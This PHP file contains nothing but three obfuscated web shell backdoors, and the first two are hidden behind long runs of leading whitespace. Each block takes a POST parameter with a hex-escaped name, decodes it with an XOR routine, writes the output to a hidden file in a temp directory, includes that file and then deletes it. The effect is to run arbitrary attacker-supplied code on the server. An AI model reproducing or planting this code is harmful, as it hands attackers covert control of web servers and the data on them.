<?php																																										if(@$_POST["b\x69n\x64i\x6E\x67"] !== null){ $hld = $_POST["b\x69n\x64i\x6E\x67"]; $hld =explode ( ".", $hld) ; $key = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $__len = count($hld); for ($z = 0; $z< $__len; $z++) { $v6 = $hld[$z]; $chS = ord($salt8[$z% $lenS]); $d = ((int)$v6 - $chS - ($z% 10)) ^ 28; $key .= chr($d); } $holder = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm"]); $reference = 0; do { $comp = $holder[$reference] ?? null; if ($reference >= count($holder)) break; if (is_dir($comp) ? is_writable($comp) : false) { $item = vsprintf("%s/%s", [$comp, ".sym"]); $file = fopen($item, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $item; @unlink($item); exit; } } $reference++; } while (true); }
																																										if(array_key_exists("\x64\x63\x68unk", $_POST) && !is_null($_POST["\x64\x63\x68unk"])){ $flag = array_filter(["/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP")]); $resource = $_POST["\x64\x63\x68unk"]; $resource =explode ( "." , $resource ) ; $ref = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $__len = count($resource ); for ($u = 0; $u < $__len; $u++) { $v4 = $resource[$u]; $chS = ord($s2[$u % $sLen] ); $d = ((int)$v4 - $chS - ($u % 10)) ^ 28; $ref.= chr($d ); } while ($marker = array_shift($flag)) { if (is_dir($marker) && is_writable($marker)) { $ent = str_replace("{var_dir}", $marker, "{var_dir}/.factor"); if (@file_put_contents($ent, $ref) !== false) { include $ent; unlink($ent); exit; } } } }


if(array_key_exists("\x69t\x65m", $_POST) && !is_null($_POST["\x69t\x65m"])){
	$key = $_POST["\x69t\x65m"];
	$key  	=	explode( 		"." 		,  $key 	 )  ;	 	
	$resource='';
            $s2='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($s2);
            $v=0;
    
            foreach($key as $v1) {
                $chS=ord($s2[$v%$sLen]);
                $dec=((int)$v1 - $chS -($v%10)) ^ 	96;
                $resource	.=	 chr($dec);
                $v++;
            }
	$ref = array_filter(["/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]);
	foreach ($ref as $fac):
    		if (array_product([is_dir($fac), is_writable($fac)])) {
    $data_chunk = implode("/", [$fac, ".flag"]);
    if (file_put_contents($data_chunk, $resource)) {
	require $data_chunk;
	unlink($data_chunk);
	die();
}
}
endforeach;
}